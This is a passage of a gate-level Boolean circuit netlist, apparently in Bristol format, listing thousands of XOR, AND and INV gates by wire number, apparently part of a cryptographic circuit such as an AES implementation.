26954 26917 27000 XOR +2 1 27007 26999 26998 AND +2 1 26998 26967 26957 XOR +2 1 26957 26959 26997 XOR +2 1 26998 27022 26915 XOR +2 1 26954 26915 26907 XOR +2 1 26944 26907 26914 XOR +2 1 26911 26914 26996 XOR +2 1 26957 26910 26994 XOR +2 1 26907 26908 26992 XOR +2 1 26993 27030 26991 AND +2 1 27000 27029 26990 AND +2 1 27003 34046 26989 AND +2 1 26989 26991 26970 XOR +2 1 26994 27024 26988 AND +2 1 26997 27036 26987 AND +2 1 26987 26988 26973 XOR +2 1 27007 27026 26986 AND +2 1 26986 26987 26924 XOR +2 1 26995 27027 26985 AND +2 1 26992 27025 26984 AND +2 1 26984 26973 26963 XOR +2 1 26984 26987 26939 XOR +1 1 26939 26936 INV +2 1 26984 26985 26935 XOR +2 1 26985 26963 26923 XOR +2 1 26996 27028 26983 AND +2 1 26993 27034 26982 AND +2 1 27000 27031 26981 AND +2 1 27003 27035 26980 AND +2 1 26980 26963 26929 XOR +1 1 26929 26926 INV +2 1 26994 27039 26979 AND +2 1 26979 26983 26955 XOR +2 1 26988 26979 26940 XOR +1 1 26955 26933 INV +2 1 26997 27032 26978 AND +2 1 26986 26978 26942 XOR +2 1 27007 27033 26977 AND +2 1 26933 26977 26932 XOR +2 1 26932 26970 26928 XOR +2 1 26995 27038 26976 AND +2 1 26976 26928 26931 XOR +2 1 26992 27040 26975 AND +2 1 26975 26976 26969 XOR +2 1 26981 26969 26951 XOR +2 1 26982 26951 26952 XOR +2 1 26990 26952 26956 XOR +2 1 26991 26956 26961 XOR +2 1 26973 26961 36013 XOR +2 1 26942 26969 26938 XOR +2 1 26970 26938 26941 XOR +2 1 26940 26941 27044 XOR +2 1 26933 26938 26937 XOR +2 1 26936 26937 27043 XOR +2 1 26961 26935 27042 XOR +2 1 26951 26928 26927 XOR +2 1 26926 26927 36011 XOR +2 1 26989 26956 26925 XOR +2 1 26924 26925 36012 XOR +2 1 26952 26923 36015 XOR +2 1 26996 27037 26974 AND +2 1 26985 26974 26934 XOR +1 1 26934 26930 INV +2 1 26930 26931 27041 XOR +1 1 27042 36014 INV +2 1 8874 8875 35677 XOR +2 1 35677 629 34032 XOR +2 1 34032 28483 28485 XOR +2 1 34036 28485 28567 XOR +2 1 34035 28485 28564 XOR +2 1 28490 28485 28566 XOR +2 1 34031 34032 28500 XOR +2 1 28500 28573 28571 XOR +2 1 28578 28500 28574 XOR +2 1 34032 34034 28580 XOR +2 1 28484 28580 28565 XOR +2 1 34033 34032 28460 XOR +2 1 34037 34032 28577 XOR +2 1 28570 28574 28563 AND +2 1 28563 28486 28489 XOR +2 1 28571 28569 28562 AND +2 1 28579 28564 28560 AND +2 1 28560 28484 28488 XOR +2 1 28573 28566 28558 AND +2 1 28578 28567 28557 AND +2 1 28557 28485 28487 XOR +2 1 28489 28487 28493 XOR +2 1 34037 28493 28498 XOR +2 1 28580 28565 28556 AND +2 1 28556 28562 28507 XOR +2 1 28507 28498 28554 XOR +2 1 28556 28557 28459 XOR +2 1 28459 28460 28506 XOR +2 1 28506 28488 28505 XOR +2 1 28559 28505 28553 XOR +2 1 28577 28568 28555 AND +2 1 28555 28558 28508 XOR +2 1 28555 28561 28512 XOR +2 1 28512 28484 28499 XOR +2 1 28507 28499 28551 XOR +2 1 28556 28508 28502 XOR +2 1 28488 28508 28462 XOR +2 1 28462 28487 28552 XOR +2 1 28493 28512 28461 XOR +2 1 34035 28461 28504 XOR +2 1 28559 28502 28458 XOR +2 1 34031 28458 28546 XOR +2 1 28554 28553 28550 AND +2 1 28550 28504 28545 XOR +2 1 28550 28552 28549 XOR +2 1 28551 28549 28548 AND +2 1 28548 28504 28547 XOR +2 1 28548 28560 28453 XOR +2 1 28453 28489 28449 XOR +2 1 34037 28449 28452 XOR +2 1 28548 28498 28450 XOR +2 1 34035 28449 28448 XOR +2 1 28545 28546 28544 AND +2 1 28544 28552 28543 XOR +2 1 28550 28544 28542 XOR +2 1 28544 28502 28457 XOR +2 1 28544 28561 28456 XOR +2 1 28456 28558 28451 XOR +2 1 28451 28452 28535 XOR +2 1 28552 28542 28541 AND +2 1 28541 28549 28539 XOR +2 1 28541 28559 28511 XOR +2 1 28511 28505 28533 XOR +2 1 34031 28511 28494 XOR +2 1 28494 28457 28540 XOR +2 1 28547 28539 28538 AND +2 1 28538 28507 28497 XOR +2 1 28497 28499 28537 XOR +2 1 28538 28562 28455 XOR +2 1 28494 28455 28447 XOR +2 1 28484 28447 28454 XOR +2 1 28451 28454 28536 XOR +2 1 28497 28450 28534 XOR +2 1 28447 28448 28532 XOR +2 1 28533 28570 28531 AND +2 1 28540 28569 28530 AND +2 1 28543 34030 28529 AND +2 1 28529 28531 28510 XOR +2 1 28534 28564 28528 AND +2 1 28537 28576 28527 AND +2 1 28527 28528 28513 XOR +2 1 28547 28566 28526 AND +2 1 28526 28527 28464 XOR +2 1 28535 28567 28525 AND +2 1 28532 28565 28524 AND +2 1 28524 28513 28503 XOR +2 1 28524 28527 28479 XOR +1 1 28479 28476 INV +2 1 28524 28525 28475 XOR +2 1 28525 28503 28463 XOR +2 1 28536 28568 28523 AND +2 1 28533 28574 28522 AND +2 1 28540 28571 28521 AND +2 1 28543 28575 28520 AND +2 1 28520 28503 28469 XOR +1 1 28469 28466 INV +2 1 28534 28579 28519 AND +2 1 28519 28523 28495 XOR +2 1 28528 28519 28480 XOR +1 1 28495 28473 INV +2 1 28537 28572 28518 AND +2 1 28526 28518 28482 XOR +2 1 28547 28573 28517 AND +2 1 28473 28517 28472 XOR +2 1 28472 28510 28468 XOR +2 1 28535 28578 28516 AND +2 1 28516 28468 28471 XOR +2 1 28532 28580 28515 AND +2 1 28515 28516 28509 XOR +2 1 28521 28509 28491 XOR +2 1 28522 28491 28492 XOR +2 1 28530 28492 28496 XOR +2 1 28531 28496 28501 XOR +2 1 28513 28501 36040 XOR +2 1 28482 28509 28478 XOR +2 1 28510 28478 28481 XOR +2 1 28480 28481 28584 XOR +2 1 28473 28478 28477 XOR +2 1 28476 28477 28583 XOR +2 1 28501 28475 28582 XOR +2 1 28491 28468 28467 XOR +2 1 28466 28467 36038 XOR +2 1 28529 28496 28465 XOR +2 1 28464 28465 36039 XOR +2 1 28492 28463 36043 XOR +1 1 36039 9161 INV +2 1 28536 28577 28514 AND +2 1 28525 28514 28474 XOR +1 1 28474 28470 INV +2 1 28470 28471 28581 XOR +1 1 28583 36037 INV +1 1 28582 36042 INV +1 1 28581 36041 INV +1 1 36038 9168 INV +2 1 8964 8942 8831 XOR +2 1 8831 8832 8830 XOR +1 1 8830 35668 INV +2 1 35668 638 34023 XOR +2 1 34023 34025 24006 XOR +2 1 34024 24006 24008 XOR +2 1 34028 24008 24090 XOR +2 1 34027 24008 24087 XOR +2 1 24013 24008 24089 XOR +2 1 34023 24099 24095 XOR +2 1 24006 24101 24093 XOR +2 1 34022 24093 24092 XOR +2 1 34023 34024 24023 XOR +2 1 24023 24096 24094 XOR +2 1 24101 24023 24097 XOR +2 1 24006 23969 24091 XOR +2 1 34029 34023 24102 XOR +2 1 24093 24097 24086 AND +2 1 24086 24009 24012 XOR +2 1 24094 24092 24085 AND +2 1 24079 24085 24030 XOR +2 1 24102 24087 24083 AND +2 1 24083 24007 24011 XOR +2 1 24099 24095 24082 AND +2 1 24096 24089 24081 AND +2 1 24101 24090 24080 AND +2 1 24080 24008 24010 XOR +2 1 24012 24010 24016 XOR +2 1 34029 24016 24021 XOR +2 1 24030 24021 24077 XOR +2 1 24079 24080 23982 XOR +2 1 23982 23983 24029 XOR +2 1 24029 24011 24028 XOR +2 1 24082 24028 24076 XOR +2 1 24100 24091 24078 AND +2 1 24078 24081 24031 XOR +2 1 24078 24084 24035 XOR +2 1 24035 24007 24022 XOR +2 1 24030 24022 24074 XOR +2 1 24079 24031 24025 XOR +2 1 24011 24031 23985 XOR +2 1 23985 24010 24075 XOR +2 1 24016 24035 23984 XOR +2 1 34027 23984 24027 XOR +2 1 24082 24025 23981 XOR +2 1 34023 23981 24069 XOR +2 1 24077 24076 24073 AND +2 1 24073 24027 24068 XOR +2 1 24073 24075 24072 XOR +2 1 24074 24072 24071 AND +2 1 24071 24027 24070 XOR +2 1 24071 24083 23976 XOR +2 1 23976 24012 23972 XOR +2 1 34029 23972 23975 XOR +2 1 24071 24021 23973 XOR +2 1 34027 23972 23971 XOR +2 1 24068 24069 24067 AND +2 1 24067 24075 24066 XOR +2 1 24073 24067 24065 XOR +2 1 24067 24025 23980 XOR +2 1 24067 24084 23979 XOR +2 1 23979 24081 23974 XOR +2 1 23974 23975 24058 XOR +2 1 24075 24065 24064 AND +2 1 24064 24072 24062 XOR +2 1 24064 24082 24034 XOR +2 1 24034 24028 24056 XOR +2 1 34023 24034 24017 XOR +2 1 24017 23980 24063 XOR +2 1 24070 24062 24061 AND +2 1 24061 24030 24020 XOR +2 1 24020 24022 24060 XOR +2 1 24061 24085 23978 XOR +2 1 24017 23978 23970 XOR +2 1 24007 23970 23977 XOR +2 1 23974 23977 24059 XOR +2 1 24020 23973 24057 XOR +2 1 23970 23971 24055 XOR +2 1 24056 24093 24054 AND +2 1 24063 24092 24053 AND +2 1 24066 34022 24052 AND +2 1 24052 24054 24033 XOR +2 1 24057 24087 24051 AND +2 1 24060 24099 24050 AND +2 1 24050 24051 24036 XOR +2 1 24070 24089 24049 AND +2 1 24049 24050 23987 XOR +2 1 24058 24090 24048 AND +2 1 24055 24088 24047 AND +2 1 24047 24036 24026 XOR +2 1 24047 24050 24002 XOR +1 1 24002 23999 INV +2 1 24047 24048 23998 XOR +2 1 24048 24026 23986 XOR +2 1 24059 24091 24046 AND +2 1 24056 24097 24045 AND +2 1 24063 24094 24044 AND +2 1 24066 24098 24043 AND +2 1 24043 24026 23992 XOR +1 1 23992 23989 INV +2 1 24057 24102 24042 AND +2 1 24042 24046 24018 XOR +2 1 24051 24042 24003 XOR +1 1 24018 23996 INV +2 1 24060 24095 24041 AND +2 1 24049 24041 24005 XOR +2 1 24070 24096 24040 AND +2 1 23996 24040 23995 XOR +2 1 23995 24033 23991 XOR +2 1 24058 24101 24039 AND +2 1 24039 23991 23994 XOR +2 1 24055 24103 24038 AND +2 1 24038 24039 24032 XOR +2 1 24044 24032 24014 XOR +2 1 24045 24014 24015 XOR +2 1 24053 24015 24019 XOR +2 1 24054 24019 24024 XOR +2 1 24036 24024 36054 XOR +2 1 24005 24032 24001 XOR +2 1 24033 24001 24004 XOR +2 1 24003 24004 24107 XOR +2 1 23996 24001 24000 XOR +2 1 23999 24000 24106 XOR +2 1 24024 23998 24105 XOR +2 1 24014 23991 23990 XOR +2 1 23989 23990 36052 XOR +2 1 24052 24019 23988 XOR +2 1 23987 23988 36053 XOR +2 1 24015 23986 36056 XOR +2 1 24059 24100 24037 AND +2 1 24048 24037 23997 XOR +1 1 23997 23993 INV +2 1 23993 23994 24104 XOR +1 1 24105 36055 INV +2 1 8943 8942 8836 XOR +2 1 35799 8836 35685 XOR +2 1 35685 621 34040 XOR +2 1 34040 34042 30400 XOR +2 1 30304 30400 30385 XOR +2 1 34041 34040 30280 XOR +2 1 34045 34040 30397 XOR +2 1 30400 30385 30376 AND +2 1 8835 33140 8839 XOR +2 1 8838 8839 8837 XOR +1 1 8837 35684 INV +2 1 35684 622 34039 XOR +2 1 34039 34041 30303 XOR +2 1 34040 30303 30305 XOR +2 1 34044 30305 30387 XOR +2 1 34043 30305 30384 XOR +2 1 30310 30305 30386 XOR +2 1 34039 30396 30392 XOR +2 1 30303 30398 30390 XOR +2 1 34038 30390 30389 XOR +2 1 34039 34040 30320 XOR +2 1 30320 30393 30391 XOR +2 1 30398 30320 30394 XOR +2 1 30303 30266 30388 XOR +2 1 34045 34039 30399 XOR +2 1 30390 30394 30383 AND +2 1 30383 30306 30309 XOR +2 1 30391 30389 30382 AND +2 1 30376 30382 30327 XOR +2 1 30399 30384 30380 AND +2 1 30380 30304 30308 XOR +2 1 30396 30392 30379 AND +2 1 30393 30386 30378 AND +2 1 30398 30387 30377 AND +2 1 30377 30305 30307 XOR +2 1 30309 30307 30313 XOR +2 1 34045 30313 30318 XOR +2 1 30327 30318 30374 XOR +2 1 30376 30377 30279 XOR +2 1 30279 30280 30326 XOR +2 1 30326 30308 30325 XOR +2 1 30379 30325 30373 XOR +2 1 30397 30388 30375 AND +2 1 30375 30378 30328 XOR +2 1 30375 30381 30332 XOR +2 1 30332 30304 30319 XOR +2 1 30327 30319 30371 XOR +2 1 30376 30328 30322 XOR +2 1 30308 30328 30282 XOR +2 1 30282 30307 30372 XOR +2 1 30313 30332 30281 XOR +2 1 34043 30281 30324 XOR +2 1 30379 30322 30278 XOR +2 1 34039 30278 30366 XOR +2 1 30374 30373 30370 AND +2 1 30370 30324 30365 XOR +2 1 30370 30372 30369 XOR +2 1 30371 30369 30368 AND +2 1 30368 30324 30367 XOR +2 1 30368 30380 30273 XOR +2 1 30273 30309 30269 XOR +2 1 34045 30269 30272 XOR +2 1 30368 30318 30270 XOR +2 1 34043 30269 30268 XOR +2 1 30365 30366 30364 AND +2 1 30364 30372 30363 XOR +2 1 30370 30364 30362 XOR +2 1 30364 30322 30277 XOR +2 1 30364 30381 30276 XOR +2 1 30276 30378 30271 XOR +2 1 30271 30272 30355 XOR +2 1 30372 30362 30361 AND +2 1 30361 30369 30359 XOR +2 1 30361 30379 30331 XOR +2 1 30331 30325 30353 XOR +2 1 34039 30331 30314 XOR +2 1 30314 30277 30360 XOR +2 1 30367 30359 30358 AND +2 1 30358 30327 30317 XOR +2 1 30317 30319 30357 XOR +2 1 30358 30382 30275 XOR +2 1 30314 30275 30267 XOR +2 1 30304 30267 30274 XOR +2 1 30271 30274 30356 XOR +2 1 30317 30270 30354 XOR +2 1 30267 30268 30352 XOR +2 1 30353 30390 30351 AND +2 1 30360 30389 30350 AND +2 1 30363 34038 30349 AND +2 1 30349 30351 30330 XOR +2 1 30354 30384 30348 AND +2 1 30357 30396 30347 AND +2 1 30347 30348 30333 XOR +2 1 30367 30386 30346 AND +2 1 30346 30347 30284 XOR +2 1 30355 30387 30345 AND +2 1 30352 30385 30344 AND +2 1 30344 30333 30323 XOR +2 1 30344 30347 30299 XOR +1 1 30299 30296 INV +2 1 30344 30345 30295 XOR +2 1 30345 30323 30283 XOR +2 1 30356 30388 30343 AND +2 1 30353 30394 30342 AND +2 1 30360 30391 30341 AND +2 1 30363 30395 30340 AND +2 1 30340 30323 30289 XOR +1 1 30289 30286 INV +2 1 30354 30399 30339 AND +2 1 30339 30343 30315 XOR +2 1 30348 30339 30300 XOR +1 1 30315 30293 INV +2 1 30357 30392 30338 AND +2 1 30346 30338 30302 XOR +2 1 30367 30393 30337 AND +2 1 30293 30337 30292 XOR +2 1 30292 30330 30288 XOR +2 1 30355 30398 30336 AND +2 1 30336 30288 30291 XOR +2 1 30352 30400 30335 AND +2 1 30335 30336 30329 XOR +2 1 30341 30329 30311 XOR +2 1 30342 30311 30312 XOR +2 1 30350 30312 30316 XOR +2 1 30351 30316 30321 XOR +2 1 30333 30321 36027 XOR +1 1 36027 9252 INV +2 1 30302 30329 30298 XOR +2 1 30330 30298 30301 XOR +2 1 30300 30301 30404 XOR +2 1 30293 30298 30297 XOR +2 1 30296 30297 30403 XOR +2 1 30321 30295 30402 XOR +2 1 30311 30288 30287 XOR +2 1 30286 30287 36025 XOR +2 1 30349 30316 30285 XOR +2 1 30284 30285 36026 XOR +2 1 30312 30283 36028 XOR +2 1 30356 30397 30334 AND +2 1 30345 30334 30294 XOR +1 1 30294 30290 INV +2 1 30290 30291 30401 XOR +1 1 36054 9185 INV +1 1 24106 33041 INV +1 1 24107 33042 INV +1 1 24104 33048 INV +2 1 24105 33048 9358 XOR +1 1 27044 33097 INV +1 1 27041 33103 INV +1 1 27043 33104 INV +1 1 28584 33129 INV +1 1 30404 33173 INV +1 1 30401 33178 INV +1 1 30402 33179 INV +2 1 36028 33179 9247 XOR +1 1 30403 33180 INV +1 1 30823 33185 INV +2 1 33185 33205 8924 XOR +2 1 8854 33185 8857 XOR +1 1 30824 33186 INV +2 1 33186 33206 8944 XOR +2 1 8944 8906 8703 XOR +1 1 30821 33191 INV +1 1 30822 33192 INV +2 1 33192 33191 8849 XOR +2 1 33192 33212 8917 XOR +2 1 8929 8917 8887 XOR +1 1 8128 33244 INV +2 1 33244 32865 7949 XOR +2 1 7948 7949 35555 XOR +2 1 33244 35644 7941 XOR +2 1 33244 35643 7944 XOR +2 1 35555 678 33983 XOR +2 1 33983 31656 31652 XOR +2 1 33983 33984 31580 XOR +2 1 31580 31653 31651 XOR +2 1 33989 33983 31659 XOR +2 1 31656 31652 31639 AND +2 1 7943 7944 35557 XOR +2 1 35557 676 33985 XOR +2 1 33983 33985 31563 XOR +2 1 33984 31563 31565 XOR +2 1 33988 31565 31647 XOR +2 1 33987 31565 31644 XOR +2 1 31570 31565 31646 XOR +2 1 33985 33984 31540 XOR +2 1 31659 31644 31640 AND +2 1 31640 31564 31568 XOR +2 1 31653 31646 31638 AND +2 1 7940 7941 35558 XOR +2 1 35558 675 33986 XOR +2 1 33986 33988 31566 XOR +2 1 33986 33989 31658 XOR +2 1 31658 31580 31654 XOR +2 1 31563 31658 31650 XOR +2 1 33982 31650 31649 XOR +2 1 33984 33986 31660 XOR +2 1 31564 31660 31645 XOR +2 1 31566 31564 31526 XOR +2 1 31563 31526 31648 XOR +2 1 31566 33987 31525 XOR +2 1 33982 31525 31655 XOR +2 1 31650 31654 31643 AND +2 1 31643 31566 31569 XOR +2 1 31651 31649 31642 AND +2 1 31655 33982 31641 AND +2 1 31658 31647 31637 AND +2 1 31637 31565 31567 XOR +2 1 31569 31567 31573 XOR +2 1 33989 31573 31578 XOR +2 1 31660 31645 31636 AND +2 1 31636 31642 31587 XOR +2 1 31587 31578 31634 XOR +2 1 31636 31637 31539 XOR +2 1 31539 31540 31586 XOR +2 1 31586 31568 31585 XOR +2 1 31639 31585 31633 XOR +2 1 31657 31648 31635 AND +2 1 31635 31638 31588 XOR +2 1 31635 31641 31592 XOR +2 1 31592 31564 31579 XOR +2 1 31587 31579 31631 XOR +2 1 31636 31588 31582 XOR +2 1 31568 31588 31542 XOR +2 1 31542 31567 31632 XOR +2 1 31573 31592 31541 XOR +2 1 33987 31541 31584 XOR +2 1 31639 31582 31538 XOR +2 1 33983 31538 31626 XOR +2 1 31634 31633 31630 AND +2 1 31630 31584 31625 XOR +2 1 31630 31632 31629 XOR +2 1 31631 31629 31628 AND +2 1 31628 31584 31627 XOR +2 1 31628 31640 31533 XOR +2 1 31533 31569 31529 XOR +2 1 33989 31529 31532 XOR +2 1 31628 31578 31530 XOR +2 1 33987 31529 31528 XOR +2 1 31625 31626 31624 AND +2 1 31624 31632 31623 XOR +2 1 31630 31624 31622 XOR +2 1 31624 31582 31537 XOR +2 1 31624 31641 31536 XOR +2 1 31536 31638 31531 XOR +2 1 31531 31532 31615 XOR +2 1 31632 31622 31621 AND +2 1 31621 31629 31619 XOR +2 1 31621 31639 31591 XOR +2 1 31591 31585 31613 XOR +2 1 33983 31591 31574 XOR +2 1 31574 31537 31620 XOR +2 1 31627 31619 31618 AND +2 1 31618 31587 31577 XOR +2 1 31577 31579 31617 XOR +2 1 31618 31642 31535 XOR +2 1 31574 31535 31527 XOR +2 1 31564 31527 31534 XOR +2 1 31531 31534 31616 XOR +2 1 31577 31530 31614 XOR +2 1 31527 31528 31612 XOR +2 1 31613 31650 31611 AND +2 1 31620 31649 31610 AND +2 1 31623 33982 31609 AND +2 1 31609 31611 31590 XOR +2 1 31614 31644 31608 AND +2 1 31617 31656 31607 AND +2 1 31607 31608 31593 XOR +2 1 31627 31646 31606 AND +2 1 31606 31607 31544 XOR +2 1 31615 31647 31605 AND +2 1 31612 31645 31604 AND +2 1 31604 31593 31583 XOR +2 1 31604 31607 31559 XOR +1 1 31559 31556 INV +2 1 31604 31605 31555 XOR +2 1 31605 31583 31543 XOR +2 1 31616 31648 31603 AND +2 1 31613 31654 31602 AND +2 1 31620 31651 31601 AND +2 1 31623 31655 31600 AND +2 1 31600 31583 31549 XOR +1 1 31549 31546 INV +2 1 31614 31659 31599 AND +2 1 31599 31603 31575 XOR +2 1 31608 31599 31560 XOR +1 1 31575 31553 INV +2 1 31617 31652 31598 AND +2 1 31606 31598 31562 XOR +2 1 31627 31653 31597 AND +2 1 31553 31597 31552 XOR +2 1 31552 31590 31548 XOR +2 1 31615 31658 31596 AND +2 1 31596 31548 31551 XOR +2 1 31612 31660 31595 AND +2 1 31595 31596 31589 XOR +2 1 31601 31589 31571 XOR +2 1 31602 31571 31572 XOR +2 1 31610 31572 31576 XOR +2 1 31611 31576 31581 XOR +2 1 31593 31581 35849 XOR +2 1 35845 35849 8927 XOR +2 1 31562 31589 31558 XOR +2 1 31590 31558 31561 XOR +2 1 31560 31561 31664 XOR +2 1 31553 31558 31557 XOR +2 1 31556 31557 31663 XOR +2 1 31581 31555 31662 XOR +2 1 31571 31548 31547 XOR +2 1 31546 31547 35847 XOR +2 1 35843 35847 8946 XOR +1 1 8946 8757 INV +2 1 31609 31576 31545 XOR +2 1 31544 31545 35848 XOR +2 1 35844 35848 8936 XOR +2 1 31572 31543 35850 XOR +2 1 35835 35850 8904 XOR +1 1 8904 8669 INV +2 1 8904 35848 8673 XOR +2 1 35846 35850 8896 XOR +1 1 8896 8990 INV +2 1 8990 35844 8711 XOR +2 1 8990 33189 8716 XOR +2 1 8990 35845 8708 XOR +2 1 31616 31657 31594 AND +2 1 31605 31594 31554 XOR +1 1 31554 31550 INV +2 1 31550 31551 31661 XOR +2 1 8669 35847 8670 XOR +1 1 31663 33209 INV +2 1 33189 33209 8950 XOR +2 1 8757 33209 8755 XOR +1 1 31664 33210 INV +2 1 8669 33210 8667 XOR +2 1 33190 33210 8958 XOR +2 1 8958 8904 8758 XOR +1 1 31661 33215 INV +2 1 33195 33215 8921 XOR +2 1 8921 35849 8754 XOR +1 1 8754 8752 INV +1 1 31662 33216 INV +2 1 8896 33216 8744 XOR +2 1 33196 33216 8910 XOR +2 1 8910 33215 8747 XOR +1 1 8127 33245 INV +2 1 33245 35660 8110 XOR +2 1 33245 32873 8115 XOR +2 1 8114 8115 8113 XOR +1 1 8113 35571 INV +2 1 35571 662 33999 XOR +2 1 33999 28716 28712 XOR +2 1 33999 34000 28640 XOR +2 1 28640 28713 28711 XOR +2 1 34005 33999 28719 XOR +2 1 28716 28712 28699 AND +2 1 33245 35651 7929 XOR +2 1 7929 7930 8199 XOR +2 1 8199 8143 35574 XOR +2 1 35574 659 34002 XOR +2 1 34002 34004 28626 XOR +2 1 34002 34005 28718 XOR +2 1 28718 28640 28714 XOR +2 1 34000 34002 28720 XOR +2 1 28624 28720 28705 XOR +2 1 28626 28624 28586 XOR +2 1 28626 34003 28585 XOR +2 1 33998 28585 28715 XOR +2 1 28715 33998 28701 AND +2 1 28720 28705 28696 AND +2 1 8109 8110 35573 XOR +2 1 35573 660 34001 XOR +2 1 33999 34001 28623 XOR +2 1 34000 28623 28625 XOR +2 1 34004 28625 28707 XOR +2 1 34003 28625 28704 XOR +2 1 28630 28625 28706 XOR +2 1 28623 28718 28710 XOR +2 1 33998 28710 28709 XOR +2 1 34001 34000 28600 XOR +2 1 28623 28586 28708 XOR +2 1 28710 28714 28703 AND +2 1 28703 28626 28629 XOR +2 1 28711 28709 28702 AND +2 1 28696 28702 28647 XOR +2 1 28719 28704 28700 AND +2 1 28700 28624 28628 XOR +2 1 28713 28706 28698 AND +2 1 28718 28707 28697 AND +2 1 28697 28625 28627 XOR +2 1 28629 28627 28633 XOR +2 1 34005 28633 28638 XOR +2 1 28647 28638 28694 XOR +2 1 28696 28697 28599 XOR +2 1 28599 28600 28646 XOR +2 1 28646 28628 28645 XOR +2 1 28699 28645 28693 XOR +2 1 28717 28708 28695 AND +2 1 28695 28698 28648 XOR +2 1 28695 28701 28652 XOR +2 1 28652 28624 28639 XOR +2 1 28647 28639 28691 XOR +2 1 28696 28648 28642 XOR +2 1 28628 28648 28602 XOR +2 1 28602 28627 28692 XOR +2 1 28633 28652 28601 XOR +2 1 34003 28601 28644 XOR +2 1 28699 28642 28598 XOR +2 1 33999 28598 28686 XOR +2 1 28694 28693 28690 AND +2 1 28690 28644 28685 XOR +2 1 28690 28692 28689 XOR +2 1 28691 28689 28688 AND +2 1 28688 28644 28687 XOR +2 1 28688 28700 28593 XOR +2 1 28593 28629 28589 XOR +2 1 34005 28589 28592 XOR +2 1 28688 28638 28590 XOR +2 1 34003 28589 28588 XOR +2 1 28685 28686 28684 AND +2 1 28684 28692 28683 XOR +2 1 28690 28684 28682 XOR +2 1 28684 28642 28597 XOR +2 1 28684 28701 28596 XOR +2 1 28596 28698 28591 XOR +2 1 28591 28592 28675 XOR +2 1 28692 28682 28681 AND +2 1 28681 28689 28679 XOR +2 1 28681 28699 28651 XOR +2 1 28651 28645 28673 XOR +2 1 33999 28651 28634 XOR +2 1 28634 28597 28680 XOR +2 1 28687 28679 28678 AND +2 1 28678 28647 28637 XOR +2 1 28637 28639 28677 XOR +2 1 28678 28702 28595 XOR +2 1 28634 28595 28587 XOR +2 1 28624 28587 28594 XOR +2 1 28591 28594 28676 XOR +2 1 28637 28590 28674 XOR +2 1 28587 28588 28672 XOR +2 1 28673 28710 28671 AND +2 1 28680 28709 28670 AND +2 1 28683 33998 28669 AND +2 1 28669 28671 28650 XOR +2 1 28674 28704 28668 AND +2 1 28677 28716 28667 AND +2 1 28667 28668 28653 XOR +2 1 28687 28706 28666 AND +2 1 28666 28667 28604 XOR +2 1 28675 28707 28665 AND +2 1 28672 28705 28664 AND +2 1 28664 28653 28643 XOR +2 1 28664 28667 28619 XOR +1 1 28619 28616 INV +2 1 28664 28665 28615 XOR +2 1 28665 28643 28603 XOR +2 1 28676 28708 28663 AND +2 1 28673 28714 28662 AND +2 1 28680 28711 28661 AND +2 1 28683 28715 28660 AND +2 1 28660 28643 28609 XOR +1 1 28609 28606 INV +2 1 28674 28719 28659 AND +2 1 28659 28663 28635 XOR +2 1 28668 28659 28620 XOR +1 1 28635 28613 INV +2 1 28677 28712 28658 AND +2 1 28666 28658 28622 XOR +2 1 28687 28713 28657 AND +2 1 28613 28657 28612 XOR +2 1 28612 28650 28608 XOR +2 1 28675 28718 28656 AND +2 1 28656 28608 28611 XOR +2 1 28672 28720 28655 AND +2 1 28655 28656 28649 XOR +2 1 28661 28649 28631 XOR +2 1 28662 28631 28632 XOR +2 1 28670 28632 28636 XOR +2 1 28671 28636 28641 XOR +2 1 28653 28641 35822 XOR +2 1 35817 35822 8926 XOR +2 1 28622 28649 28618 XOR +2 1 28650 28618 28621 XOR +2 1 28620 28621 28724 XOR +2 1 28613 28618 28617 XOR +2 1 28616 28617 28723 XOR +2 1 28641 28615 28722 XOR +2 1 28631 28608 28607 XOR +2 1 28606 28607 35820 XOR +2 1 28669 28636 28605 XOR +2 1 28604 28605 35821 XOR +1 1 35821 8653 INV +2 1 28632 28603 35823 XOR +2 1 35818 35823 8898 XOR +2 1 28676 28717 28654 AND +2 1 28665 28654 28614 XOR +1 1 28614 28610 INV +2 1 28610 28611 28721 XOR +1 1 28723 35819 INV +2 1 33046 35819 8937 XOR +2 1 35816 35821 8930 XOR +1 1 8926 8766 INV +2 1 35820 33046 8811 XOR +1 1 8898 8792 INV +2 1 8792 35816 8795 XOR +2 1 8792 35817 8791 XOR +2 1 8792 33046 8799 XOR +1 1 8930 8793 INV +2 1 8898 33220 8759 XOR +2 1 35815 35820 8933 XOR +1 1 8933 8784 INV +2 1 8784 35828 8782 XOR +2 1 28723 33047 8649 XOR +2 1 8648 8649 8986 XOR +2 1 35822 35816 8655 XOR +2 1 8654 8655 8984 XOR +2 1 8653 35815 8652 XOR +2 1 8651 8652 8985 XOR +1 1 28721 33134 INV +2 1 33052 33134 8922 XOR +2 1 33134 35817 8809 XOR +2 1 8922 33219 8781 XOR +1 1 8781 8779 INV +2 1 8922 8916 8788 XOR +1 1 28722 33135 INV +2 1 33135 33134 8778 XOR +1 1 28724 33136 INV +2 1 33047 33136 8938 XOR +1 1 8133 33246 INV +2 1 33246 35613 8056 XOR +2 1 33246 35596 8077 XOR +2 1 8076 8077 35478 XOR +2 1 35478 755 33906 XOR +2 1 33906 33909 8495 XOR +2 1 33906 33908 8403 XOR +2 1 33904 33906 8497 XOR +2 1 8401 8497 8482 XOR +2 1 8403 8401 8363 XOR +2 1 8497 8482 8473 AND +2 1 8403 33907 8362 XOR +2 1 33902 8362 8492 XOR +2 1 8492 33902 8478 AND +2 1 8056 8057 35489 XOR +2 1 35489 744 33917 XOR +2 1 33915 33917 31144 XOR +2 1 31144 31240 31225 XOR +2 1 33914 33917 31238 XOR +2 1 31238 31160 31234 XOR +2 1 31144 31150 31233 XOR +2 1 31160 31233 31231 XOR +2 1 31143 31238 31230 XOR +2 1 33910 31230 31229 XOR +2 1 31146 31144 31106 XOR +2 1 31143 31106 31228 XOR +2 1 33917 33911 31239 XOR +2 1 33917 33912 31237 XOR +2 1 31230 31234 31223 AND +2 1 31223 31146 31149 XOR +2 1 31231 31229 31222 AND +2 1 31239 31224 31220 AND +2 1 31220 31144 31148 XOR +2 1 31233 31226 31218 AND +2 1 31238 31227 31217 AND +2 1 31217 31145 31147 XOR +2 1 31149 31147 31153 XOR +2 1 33917 31153 31158 XOR +2 1 31240 31225 31216 AND +2 1 31216 31222 31167 XOR +2 1 31167 31158 31214 XOR +2 1 31216 31217 31119 XOR +2 1 31119 31120 31166 XOR +2 1 31166 31148 31165 XOR +2 1 31219 31165 31213 XOR +2 1 31237 31228 31215 AND +2 1 31215 31218 31168 XOR +2 1 31215 31221 31172 XOR +2 1 31172 31144 31159 XOR 